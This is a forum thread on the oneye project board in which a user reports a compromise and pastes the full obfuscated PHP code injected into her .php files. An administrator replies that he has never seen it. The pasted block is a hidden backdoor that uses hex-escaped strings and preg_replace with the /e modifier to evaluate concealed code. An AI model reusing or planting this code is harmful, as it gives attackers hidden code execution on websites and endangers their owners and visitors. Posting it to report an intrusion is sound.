Fork me on GitHub

#1 2014-11-29 16:16:08

marie
Member
Registered: 2014-07-26
Posts: 20

security hole

Oneye was there a security breach?
For my site, a script has been added to all my .php page.

Only in oneye folder.
The other parts of my site have nothing had.

The added script:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $xasbbkujli = '7doj%x5c%x78256<%x5c%x787fw6*%x5c%x785c%x7825j=6[%x5c%x784-%x5c%x7824-tusqpt)%x5c%xx5c%x7824y7%x5c%x7824-%x5c%utjyf%x5c%x7860439275ttfsqnpdov{h19275c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uy73]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssb!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x]274]y85]273]y6g]273]y76]2%x5c%x7825)euhA)3of>2bd%x5c%!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubEgps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cx7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%v%x5c%x7825)}.;%x5c%x7860Ux7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x782#-!#~<%x5c%x7825h00#*<%x5c%x785)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%IQ&f_UTPI%x5c%x7860Q82f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%xDf#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D57ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsb) { $GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){rex7824b!>!%x5c%x7825yy)#}#-#%x5c%x782x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x75!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!x7824]y8%x5c%x7824-%x5c%x78gP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]x5c%x785c2b%x5c%x7825fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#r%x5c%x7825)s%x5c%x78qmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%%x22%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x5c%x78272qj%x5c%x7364]6]234]342]58]24]31#-%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%!%x5c%x7825z>2<!%x5c%x7825ww2)%x5cx5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%c%x787f_*#[k2%x5c%x785c%x782f#7e:55946-tr.984:75983:48984:71%51%x29%73", NULL); }7-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU%x7824<!%x5c%x7825mm!>!#]y81]2c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!:>1<%x5c%x7825b:>1<!cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%7f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x7fu%x5c%x7825)3of)fepdof%x5c%x786056]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]ybss-%x5c%x7825r%x5c%x7878BX6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sff<*XAZASV<*w%x5c%x7825)ppde>u78r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtfy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825<#372]58y]472]37y]672]48y]#>ssbnpe_GMFT%x5c%x7860Q7825tzw>!#]y76]277]y72]265]y3924]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824g%x7825!|!*#91y]c9y]g2y]#x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x%x5f%163%x70%154%x69%164%50C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x787883]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x7pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x7875c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5cif((function_exists("%x6f%142%x5f%163%x74%141%x72%%x7825w:!>!%x5c%x78246767~6<Cw6<|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x78;zepc}A;~!}%x5c%x787f;!turn chr(ord($n)-1);} @error_reporting(0); x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]2#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!O71]y7d]252]y74]256]y39]252]y83]273]y7225:-5ppde:4:|:**#ppde#)tutjyf%x5c%x786%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5ctmbg39*56A:>:8:|:7#6#)tg<~%x5c%x7824<!%x5c%x7825o:!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5X;%x5c%x7860msvd}R;*ms%x78256<*Y%x5c%x7825)fnbozcYufhA)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]2qsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!27]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5c%x7825hW~%x5c%x7825fdy)#5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*56]62]y3:]84#-!OVMM*<%x22%51%x29#-#T#-#E#-#G#-#H#-#I#-#K#-#Lx782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%y6g]273]y76]271]y7d]252]y74]256#<!%x5c%]48]32M3]317]445]212]445]43]321]464]284]8%42%x66%152%x66%147%x67%42%x2c%163%x74%162<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%xx782f7&6|7**111127-K)ebfs82fqp%x5c%x7825>5h%x5c%x7820ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}mw)%x5c%x7825tww**WYsboepn)%x5c%x7825%x5c%x7825%x5c%x7824-%x5cvodujpo!%x5c%x7824-%825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:X%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<jZ<#opo#>b%x5c%x7825!**X)ufttj%x5825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x782%x7825w%x5c%x7860TW~x787fw6*CW&)7gj6<*doj%x5x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTx5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x57878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%25nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]481]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x78c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x782x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x782525ww2!>#p#%x5c%x782f56]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]5%x7825tdz*Wsfuvso!%x5c%x7825bss%xc%x7825w6Z6<.4%x5c%x7866<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf<2,*j%x5c%x7825-#1]#-bubE{h%x556~6<%x5c%x787fw6<*K)ftpmdXA6|7**19%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x78%x5c%x7825h>#]y31]278]y3e]x5c%x7827tfs%x5c%x78256<*17-SFEBFIc%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x782560{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x78625epnbss-%x5c%x7825r%x5c%x7878W~!Ypp5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825t5)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%xs%x5c%x7825<#462]47y]252]18y]#04%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x58256<^#zsfvr#%x5c%x785cq%x5c%x78257%x154%x28%151%x6d%160%x6c%157%c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&vg)!gj!|!*msv%x5c%x7825#)rrd%x5c%x782f#00;quui#>.%x5c25>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%h!opjudovg}{;#)tutjyf%x5c%x7860opjudoc%x7860{666~6<&w6<%x5c%x785c%x7825!-#1]#-bubE{h%x5c%x7825)tpc%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudov164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))<%x5c%x7825j=tj{fpg)%x5c%x7825%x7fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x57825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]D#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7x78257UFH#%x5c%x7827rfs%x5c%x782z)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x3d]51]y35]274]y4:]82]5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,jq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x5b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x7c%x7825b:<!%x5c%x7825c:>%x52)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%UUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%!>2<!gps)%x5c%x7825j>1<%xQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x78T%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%7f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:fx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!QPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x787f%x5c%x787f<u%>>*4-1-bubE{h%x5c%x7825)x5c%x7827pd%x5c%x78256<pd%%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gx64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x2>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%782f},;#-#}+;%x5c%x7825-qp%x5c%x76<*)ujojR%x5c%x7827id%x5c82f%x5c%x7825%x5c%x7824-%x5c%x7824%x5c%x7827*&7-n%x5c%x78250hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%6#<%x5c%x7825G]y6d]281Ld]245]K2]285%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5csutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!78:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5VMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%3]y6d]281]y43]78]y33]65]y31]55]y85]82]y7787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;!>!%x5c%x78242178}527}88:}334}472%x5cc%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825cc%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%/(.*)/epreg_replacelolwkhxycl'; $mjwmwmrdmz = explode(chr((185-141)),'3538,50,7268,52,1014,61,3797,43,9619,55,6868,28,8952,50,4958,43,3127,27,1521,68,9358,50,3588,32,3301,60,6091,23,9201,59,8791,26,5920,50,6114,65,9176,25,3667,61,5047,25,5281,40,3154,46,2531,52,2583,31,7586,32,6209,35,1923,68,8427,47,5413,59,6581,57,4392,32,1635,20,6831,37,4661,42,4046,51,9046,38,5584,52,4097,66,550,55,5492,24,5873,47,0,37,2288,69,780,49,6330,34,7994,59,9117,25,4326,44,7161,26,7352,46,1842,21,6426,49,5099,55,4370,22,605,26,8620,69,274,49,9913,59,7124,37,6940,23,3091,36,7718,56,9295,63,7187,34,4538,50,6179,30,2021,64,2822,50,4703,65,377,64,4163,47,3021,24,8767,24,9408,49,7057,67,1807,35,1362,21,9772,61,8689,55,349,28,631,57,6963,30,9576,43,8095,67,5072,27,1221,52,5001,46,5684,56,1111,65,7529,57,7931,63,8573,47,2904,22,829,20,8291,41,2139,70,8884,68,5321,33,148,61,2421,33,964,50,7774,43,6638,56,9084,33,3361,66,8474,55,4210,23,110,38,3728,46,4008,38,6781,50,6364,62,4424,68,8744,23,3427,58,2663,29,1733,40,4827,52,498,52,1383,62,5636,48,6896,44,3774,23,3620,47,1589,46,3244,57,849,69,2926,30,323,26,3970,38,4492,46,2454,51,3200,44,9506,70,1683,50,1445,21,6993,64,1176,45,5354,59,5236,45,7656,41,2872,32,6751,30,9002,44,7221,47,4233,27,9972,37,1991,30,209,65,7618,38,5191,25,8817,67,8251,40,1075,36,57,26,2614,49,1466,55,1273,27,2956,65,5216,20,83,27,3045,46,7320,32,2357,64,9142,34,4260,66,7697,21,2085,54,2229,59,5516,68,8357,70,6475,36,8189,62,8053,42,6694,57,6511,70,5154,37,2505,26,6304,26,5806,67,2692,66,1863,39,9833,40,7468,61,1300,62,918,46,9260,35,7817,69,7398,70,4636,25,750,30,5740,66,4588,48,4918,40,1655,28,6058,33,3485,53,9674,39,10009,51,2209,20,441,57,688,62,7886,45,8162,27,10060,46,8529,44,8332,25,37,20,5970,20,2758,64,1773,34,5472,20,6244,60,9457,49,4799,28,3900,70,9713,59,4879,39,3840,60,5990,68,9873,40,4768,31,1902,21'); $pnakndivpe=substr($xasbbkujli,(31086-20980),(22-15)); if (!function_exists('wtimkqwdte')) { function wtimkqwdte($wncvsisohz, $mbqhciybxx) { $mrkpwamyvb = NULL; for($kcjxylqikh=0;$kcjxylqikh<(sizeof($wncvsisohz)/2);$kcjxylqikh++) { $mrkpwamyvb .= substr($mbqhciybxx, $wncvsisohz[($kcjxylqikh*2)],$wncvsisohz[($kcjxylqikh*2)+1]); } return $mrkpwamyvb; };} $ljkpvskqjl="\x20\57\x2a\40\x63\152\x64\166\x62\157\x79\162\x64\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\64\x35\55\x32\60\x38\51\x29\54\x20\143\x68\162\x28\50\x33\61\x34\55\x32\62\x32\51\x29\54\x20\167\x74\151\x6d\153\x71\167\x64\164\x65\50\x24\155\x6a\167\x6d\167\x6d\162\x64\155\x7a\54\x24\170\x61\163\x62\142\x6b\165\x6a\154\x69\51\x29\51\x3b\40\x2f\52\x20\165\x77\146\x67\163\x6a\171\x71\152\x66\40\x2a\57\x20"; $sbeoylkymy=substr($xasbbkujli,(69559-59446),(40-28)); $sbeoylkymy($pnakndivpe, $ljkpvskqjl, NULL); $sbeoylkymy=$ljkpvskqjl; $sbeoylkymy=(662-541); $xasbbkujli=$sbeoylkymy-1; ?>

Offline

#2 2015-07-11 00:20:32

lars-sh
Administrator
From: near Hamburg, Germany
Registered: 2011-07-14
Posts: 730
Website

Re: security hole

Never found such code on any of my machines. I don't think it's caused by a security problem of your oneye installation.


Best regards,
Lars Knickrehm

The oneye project.

Offline

Board footer

Powered by FluxBB